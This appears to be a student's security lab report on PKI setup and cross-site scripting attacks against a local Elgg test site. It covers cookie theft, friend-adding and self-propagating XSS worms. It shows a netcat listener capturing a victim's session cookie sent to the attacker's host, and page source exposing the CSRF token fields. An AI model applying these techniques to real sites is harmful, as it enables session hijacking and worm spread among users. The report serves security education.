Task 3: Use PKI for Web Sites

As seen below via my code, I have set up the domain name which allowed the entry to map the domain name PKILabServer.com to my local host, 127.0.0.1

When I try to access the server using the URL given, an insecure connection is given. I then have to import my CA to allow entry into the site.

Once I import my CA and allow it to trust my CA to identify websites, I then am allowed to see my CA and the warning no longer exists when I refresh as shown below.

Problem 2 Cross-site scripting (XSS) Attacks

Task 1: Posting a Malicious Message to Display an Alert Window

The objective of this task is to embed a JavaScript program in Alice's Elgg profile, such that when another user (Boby) views Alice's profile, the JavaScript program will be executed, and an alert window will be displayed:

Screenshot:

Task 2: Posting a Malicious Message to Display Cookies

The objective of this task is to embed a JavaScript program in Alice's Elgg profile, such that when another user (Charlie) views Alice's profile, the user's cookies will be displayed in the alert window.

Screenshot:

Task 3: Stealing Cookies from the Victim's Machine

In the previous task, the malicious JavaScript code can print out the user's cookies, but only the user can see the cookies, not the attacker. In this task, the attacker wants the JavaScript code to send the cookies to himself/herself. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker, with the cookies appended to the request. The attacker is going to run a TCP server and listen on it while the victim user opens the attacker's page and has the cookies stolen. Below screenshots are evidence of cookie stealing when a victim user (Alice) visits Samy's page:

Alice opening Samy's page:

Samy stealing Alice's cookies:

```
Terminal
[04/09/24]seed@VM:~$ nc -l 7777 -v
Listening on [0.0.0.0] (family 0, port 7777)
Connection from [10.0.2.15] port 7777 [tcp/*] accepted (family 2, sport 44478)
GET /?cookie=Elgg%3D668pi8kd6hlcua19vlgfc17243 HTTP/1.1
Host: 10.0.2.15:7777
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefo
x/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.xsslabelgg.com/profile/samy
Connection: keep-alive
```

The value that we see after "?cookie=" is evidence of cookie stealing done by Samy on Alice.

Task 4: XSS worm that adds a friend

In this task, we need to write a malicious JavaScript program that forges HTTP requests directly from the victim's browser, without the intervention of the attacker. The objective of the attack is to add Samy as a friend to the victim (Alice)

Screenshots:

Understanding the fields required for the attack (__elgg_ts and __elgg_token):

```
        <input placeholder="Search" type="text" class="search-input" size="21" name="q" autocapitalize="off" autocorrect="off" required="required" value="" />
        <input type="hidden" name="search_type" value="all" />
        <input type="submit" value="Go" class="search-submit-button" />
    </fieldset>
</form>
<ul class="elgg-menu elgg-menu-extras elgg-menu-hz elgg-menu-extras-default"><li class="elgg-menu-item-bookmark"><a href="http://www.xsslabelgg.com/bookmarks/add/46?address=http%3A
    <div class="elgg-image"><div class="elgg-avatar elgg-avatar-tiny">
<span class="elgg-icon-hover-menu elgg-icon fa fa-caret-down"></span><ul rel="h-lsOPr0dpxJCJ9I65cwXd7awxFaw8SdoHhFF8nbzQQ" class="elgg-menu elgg-menu-hover elgg-ajax-loader" data-
</div><div class="elgg-body"><h3><a href="http://www.xsslabelgg.com/profile/charlie" rel="me">Charlie</a></h3><div class="elgg-subtext"></div></div>
</div></div><div class="elgg-body"><ul class="elgg-menu elgg-menu-owner-block elgg-menu-owner-block-default"><li class="elgg-menu-item-blog"><a href="http://www.xsslabelgg.com/blog
</div>

        </div>
    </div>
    <div class="elgg-page-footer">
        <div class="elgg-inner">
            <ul class="elgg-menu elgg-menu-footer elgg-menu-hz elgg-menu-footer-meta"><li class="elgg-menu-item-powered"><a href="http://elgg.org" title="Elgg 2.2.2" class="elgg-me
        </div>
    </div>
</div><script>
var elgg = {"config":{"lastcache":1549469404,"viewtype":"default","simplecache_enabled":1},"security":{"token":{"__elgg_ts":1712699232,"__elgg_token":"QvU969VETAn07P_sES9uhg"}},"se
</script><script src="http://www.xsslabelgg.com/cache/1549469404/default/jquery.js"></script><script src="http://www.xsslabelgg.com/cache/1549469404/default/jquery-ui.js"></script>
require([
    "core/river/filter",
    "elgg/reportedcontent"
]);
</script>
    </body>
</html>
```

Alice's friend list showing Samy after opening his profile:

Task 5: XSS Worm that changes the victim's profile

The objective of this task is to modify the victim's profile "About me" field when the victim (Alice) visits Samy's page. We will write an XSS worm to complete the task.

Screenshots of Alice's profile after opening Samy's page:

Task 6: Writing a Self-Propagating XSS Worm

To become a real worm, the malicious JavaScript program should be able to propagate itself. Namely, whenever some people view an infected profile, not only will their profiles be modified, but the worm will also be propagated to their profiles, further affecting others who view these newly infected profiles. This way, the more people view the infected profiles, the faster the worm can propagate. By achieving self-propagation, We are going to edit the profile of the victims and also make them Samy's friends.

Screenshots:

Alice's profile after viewing Samy's profile

Boby's profile after viewing Alice's profile
